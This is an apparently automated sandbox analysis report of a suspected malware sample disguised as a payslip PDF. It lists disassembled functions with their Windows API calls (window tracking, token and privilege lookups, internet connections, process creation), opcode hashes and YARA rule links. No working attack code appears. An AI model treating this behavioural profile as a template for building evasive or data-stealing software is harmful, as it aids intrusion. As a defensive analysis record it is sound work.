Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: ecf1345981b5e892b365a5c06242b900c87fd0c0eb5672e71ea0322bffbcb1f6
Instruction ID: 89a066b290479b189d45bf81501ee269fe53a56cf3d92d393c7cff23ff7e432a
Opcode Fuzzy Hash: ecf1345981b5e892b365a5c06242b900c87fd0c0eb5672e71ea0322bffbcb1f6
Instruction Fuzzy Hash: 4A315A3494071CAEFF388B65CC057FA7BBAAB59314F08431EF588921D1C33489858776

Function 00CD6415 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00CD644B
__isleadbyte_l.LIBCMT ref: 00CD6479
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00CD64A7
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00CD64DD

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: c8d45eae620aa83b72cd03fc666c692417e9a5e3ff842449483ec1d00ef2a74f
Instruction ID: d343658282b380d5169de07e06573b2b3bbe6866d54b94d9c8240c5d6c8eb5ee
Opcode Fuzzy Hash: c8d45eae620aa83b72cd03fc666c692417e9a5e3ff842449483ec1d00ef2a74f
Instruction Fuzzy Hash: BF31CF31600246AFDB22CF75CD45BBA7BB5FF40310F15842AFA65872A1EB31D991DB90

Function 00D25175 Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00D25189

Part of subcall function 00D0387D: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00D03897
Part of subcall function 00D0387D: GetCurrentThreadId.KERNEL32 ref: 00D0389E
Part of subcall function 00D0387D: AttachThreadInput.USER32(00000000,?,00D052A7), ref: 00D038A5

GetCaretPos.USER32(?), ref: 00D2519A
ClientToScreen.USER32(00000000,?), ref: 00D251D5
GetForegroundWindow.USER32 ref: 00D251DB

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: dc9189ed20930d4ee4d9436eb395cd9e2d6f476e9757646a9154c964eee238ea
Instruction ID: 99665ce1a3310204afdddddefc7422a9ec3efba85f8c554657dcfa066d4f2680
Opcode Fuzzy Hash: dc9189ed20930d4ee4d9436eb395cd9e2d6f476e9757646a9154c964eee238ea
Instruction Fuzzy Hash: CE314F71900209AFCB00EFA5C846DEFB7FDEF99304F10406AE415E7251EA759E01DBA1

Function 00D2C788 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA2612: GetWindowLongW.USER32(?,000000EB), ref: 00CA2623

GetCursorPos.USER32(?), ref: 00D2C7C2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00CDBBFB,?,?,?,?,?), ref: 00D2C7D7
GetCursorPos.USER32(?), ref: 00D2C824
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00CDBBFB,?,?,?), ref: 00D2C85E

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 9a5b232eb21df056c67c91620639e90dc6def995c3bf143bf696d9af6365e18c
Instruction ID: a3556af19bc581e1fddad4479b1932fd841c8d706d3bbd4a373e56fe42422336
Opcode Fuzzy Hash: 9a5b232eb21df056c67c91620639e90dc6def995c3bf143bf696d9af6365e18c
Instruction Fuzzy Hash: F1319435600128AFCB25CF58D898EEEBBBAEB59314F048069F9058B261C7319D51DFB0

Function 00CC0BD0 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 00CC0BF2

Part of subcall function 00CA5B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00D07B20,?,?,00000000), ref: 00CA5B8C
Part of subcall function 00CA5B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00D07B20,?,?,00000000,?,?), ref: 00CA5BB0

_fprintf.LIBCMT ref: 00CC0C29
OutputDebugStringW.KERNEL32(?), ref: 00CF6331

Part of subcall function 00CC4CDA: _flsall.LIBCMT ref: 00CC4CF3

__setmode.LIBCMT ref: 00CC0C5E

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: 9ce3e7a6abfa6993e8ceec68aacdb3614f312f89766aec6cff7f412811c4d3f2
Instruction ID: 9e5924e74183b9ee58f6a33403b91d18b0085d5d57f70ca233db3dd3939aefda
Opcode Fuzzy Hash: 9ce3e7a6abfa6993e8ceec68aacdb3614f312f89766aec6cff7f412811c4d3f2
Instruction Fuzzy Hash: 5C110232904608BBCB08B7B4EC43EBE7B68DF46320F24811EF204971D2DE605D46A7A6

Function 00CF8B9E Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CF8652: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00CF8669
Part of subcall function 00CF8652: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00CF8673
Part of subcall function 00CF8652: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00CF8682
Part of subcall function 00CF8652: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00CF8689
Part of subcall function 00CF8652: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00CF869F

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00CF8BEB
_memcmp.LIBCMT ref: 00CF8C0E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00CF8C44
HeapFree.KERNEL32(00000000), ref: 00CF8C4B

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: e91c88ff297036e2e653b898acec25f32405475012a8e644a4ed54fc81ce0355
Instruction ID: 5aa0a8c3ff8ef98857689692e42dc6ae04a5e07fb333187de4b5dae018cf8938
Opcode Fuzzy Hash: e91c88ff297036e2e653b898acec25f32405475012a8e644a4ed54fc81ce0355
Instruction Fuzzy Hash: 1E216B71E0120CABDB10DFA4C945BBEB7B8FF54354F154069E664AB240DB31AA0ADB61

Function 00D11A5B Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00D11A97

Part of subcall function 00D11B21: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00D11B40
Part of subcall function 00D11B21: InternetCloseHandle.WININET(00000000), ref: 00D11BDD

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: 4341aaed83f151376dd0e267e0083c40625a8f1506fa34c01927e248aded37ed
Instruction ID: c59f7660be2b9e78bc45e792414b99242300e08b715eaef7080ab65172d26d56
Opcode Fuzzy Hash: 4341aaed83f151376dd0e267e0083c40625a8f1506fa34c01927e248aded37ed
Instruction Fuzzy Hash: 1121B039204601BFDB119F60AD00FFABBB9FF55701F14042AFA5196650EB71D86197B0

Function 00CFE1AF Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CFF5AD: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,00CFE1C4,?,?,?,00CFEFB7,00000000,000000EF,00000119,?,?), ref: 00CFF5BC
Part of subcall function 00CFF5AD: lstrcpyW.KERNEL32(00000000,?,?,00CFE1C4,?,?,?,00CFEFB7,00000000,000000EF,00000119,?,?,00000000), ref: 00CFF5E2
Part of subcall function 00CFF5AD: lstrcmpiW.KERNEL32(00000000,?,00CFE1C4,?,?,?,00CFEFB7,00000000,000000EF,00000119,?,?), ref: 00CFF613

lstrlenW.KERNEL32(?,00000002,?,?,?,?,00CFEFB7,00000000,000000EF,00000119,?,?,00000000), ref: 00CFE1DD
lstrcpyW.KERNEL32(00000000,?,?,00CFEFB7,00000000,000000EF,00000119,?,?,00000000), ref: 00CFE203
lstrcmpiW.KERNEL32(00000002,cdecl,?,00CFEFB7,00000000,000000EF,00000119,?,?,00000000), ref: 00CFE237

Strings

cdecl, xrefs: 00CFE22E

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 9ca86ac47e93107bf06173f288b111dcbce7cb8678ed5a3743642b41e8a93de2
Instruction ID: ddd9c4f9977b4d79ba62b11c9e9f330ce615b9b329b56b29577cb609ad2ec7f6
Opcode Fuzzy Hash: 9ca86ac47e93107bf06173f288b111dcbce7cb8678ed5a3743642b41e8a93de2
Instruction Fuzzy Hash: 86118E36200349EFCB25AF64D845E7A77B8FF85350B40402AE916CB260FB719951D7A1

Function 00CD5332 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00CD5351

Part of subcall function 00CC594C: __FF_MSGBANNER.LIBCMT ref: 00CC5963
Part of subcall function 00CC594C: __NMSG_WRITE.LIBCMT ref: 00CC596A
Part of subcall function 00CC594C: RtlAllocateHeap.NTDLL(00F90000,00000000,00000001,00000000,?,?,?,00CC1013,?), ref: 00CC598F

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: f0d4a615326defba5037bd227daaab53c5885a2d1d86d83f575b77a6cf771151
Instruction ID: 2790c1bde219d263b4519b685d0b57d5770a595270777d1947f47108928b6142
Opcode Fuzzy Hash: f0d4a615326defba5037bd227daaab53c5885a2d1d86d83f575b77a6cf771151
Instruction Fuzzy Hash: 2B119432504B16AFCB312F70E845B6A37A49F247E0B10482FFA55963A1DEB5CA41A7A0

Function 00CA4531 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CA4560

Part of subcall function 00CA410D: _memset.LIBCMT ref: 00CA418D
Part of subcall function 00CA410D: _wcscpy.LIBCMT ref: 00CA41E1
Part of subcall function 00CA410D: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00CA41F1

KillTimer.USER32(?,00000001,?,?), ref: 00CA45B5
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00CA45C4
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00CDD6CE

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: 8bab0f99e38cb07401f4effdd2543d9e239b69efc4ff9b8cd4f149d9a3527955
Instruction ID: b9bf2740219ab7fc89521e5a3a35629c0edbf31d717389205325fa4ecbc7a72f
Opcode Fuzzy Hash: 8bab0f99e38cb07401f4effdd2543d9e239b69efc4ff9b8cd4f149d9a3527955
Instruction Fuzzy Hash: 2E21DA70D04784AFE7328B24D855BEBBBEC9F51308F04049EE79E96341C7B45B869B91

Function 00D1667C Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA5B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00D07B20,?,?,00000000), ref: 00CA5B8C
Part of subcall function 00CA5B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00D07B20,?,?,00000000,?,?), ref: 00CA5BB0

gethostbyname.WSOCK32(?,?,?), ref: 00D166AC
WSAGetLastError.WSOCK32(00000000), ref: 00D166B7
_memmove.LIBCMT ref: 00D166E4
inet_ntoa.WSOCK32(?), ref: 00D166EF

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: b0456af6899f82d50ad677ba31c7c2b127070f907caeab22573ae0f2ff58a3ab
Instruction ID: f100f97aa004cdbd047b544639e3551c1c46afd13a68d98b460b8a1b9fbeeefc
Opcode Fuzzy Hash: b0456af6899f82d50ad677ba31c7c2b127070f907caeab22573ae0f2ff58a3ab
Instruction Fuzzy Hash: 82119075500509AFCB00EBA0ED86DEEB7B8EF59314B048065F502A72A1DF30AE44EB71

Function 00CF9023 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00CF9043
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00CF9055
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00CF906B
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00CF9086

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: afc8d5ea76d2c80a3cd0d9ba44302ebbc6b99dd764844a1e82f5ed1794b32986
Instruction ID: 534c74e42e1e360926c8894cbd70593c023e1208cc46fd95f761af2c66d99440
Opcode Fuzzy Hash: afc8d5ea76d2c80a3cd0d9ba44302ebbc6b99dd764844a1e82f5ed1794b32986
Instruction Fuzzy Hash: 5E114C79900218FFDF10DFA5C884FADBB74FB48310F2040A5EA04B7250DA726E10DB90

Function 00CA1290 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00CA2612: GetWindowLongW.USER32(?,000000EB), ref: 00CA2623

DefDlgProcW.USER32(?,00000020,?), ref: 00CA12D8
GetClientRect.USER32(?,?), ref: 00CDB84B
GetCursorPos.USER32(?), ref: 00CDB855
ScreenToClient.USER32(?,?), ref: 00CDB860

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 00dc8756de5813f547e6f754ac6847a681ae90b233a64c7880990c6c4d694255
Instruction ID: 177fda390c28560e0efa71f50b4f57eeed4846c3cf82aaa83ba7ce0ec8939f55
Opcode Fuzzy Hash: 00dc8756de5813f547e6f754ac6847a681ae90b233a64c7880990c6c4d694255
Instruction Fuzzy Hash: 79113A3990011AAFCB10DFA8D885AEE77B8EB16305F000966F911E7250C730FA529BB5

Function 00D01652 Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00D001FD,?,00D01250,?,00008000), ref: 00D0166F
Sleep.KERNEL32(00000000,?,?,?,?,?,?,00D001FD,?,00D01250,?,00008000), ref: 00D01694
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00D001FD,?,00D01250,?,00008000), ref: 00D0169E
Sleep.KERNEL32(?,?,?,?,?,?,?,00D001FD,?,00D01250,?,00008000), ref: 00D016D1

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: a0363d39a018e488fb244d103c6018f7a3a767e7a2c2866bebe8ce87fe269a61
Instruction ID: 3043e827999d02dc884589e9a86e3d66659dec7368da6cf2dbb0756da05ebc8d
Opcode Fuzzy Hash: a0363d39a018e488fb244d103c6018f7a3a767e7a2c2866bebe8ce87fe269a61
Instruction Fuzzy Hash: E7115A35C0061CE7CF009FA5DC48BEEBB78FF19711F884469E988B2280CB3195618BA6

Function 00CD7207 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00CD722B

Part of subcall function 00CD7912: __fltout2.LIBCMT ref: 00CD793B

__cftog_l.LIBCMT ref: 00CD7251
__cftoe_l.LIBCMT ref: 00CD7283

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 624364105fd748d450db078e183ad4e56e448ebe7a88029f692820c94de9b82c
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 9301433604418AFBCF125F84CC018EE3F62BF59351B558616FB2854231E237CA71BB81

Function 00D2B57F Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00D2B59E
ScreenToClient.USER32(?,?), ref: 00D2B5B6
ScreenToClient.USER32(?,?), ref: 00D2B5DA
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00D2B5F5

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: edb9fcdd8e086f65c394d13d8e66e6303d2962acdc921650f68c6a32f095b97b
Instruction ID: 56550e7252f04cae123330798b13ceb27900f52b630a2117f1b780f16450c9e7
Opcode Fuzzy Hash: edb9fcdd8e086f65c394d13d8e66e6303d2962acdc921650f68c6a32f095b97b
Instruction Fuzzy Hash: EB1166B5D00209EFDB11CF99D4449EEFBB5FB18311F104166E954E3620D731AA518F60

Function 00D2B8EF Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D2B8FE
_memset.LIBCMT ref: 00D2B90D
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00D67F20,00D67F64), ref: 00D2B93C
CloseHandle.KERNEL32 ref: 00D2B94E

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
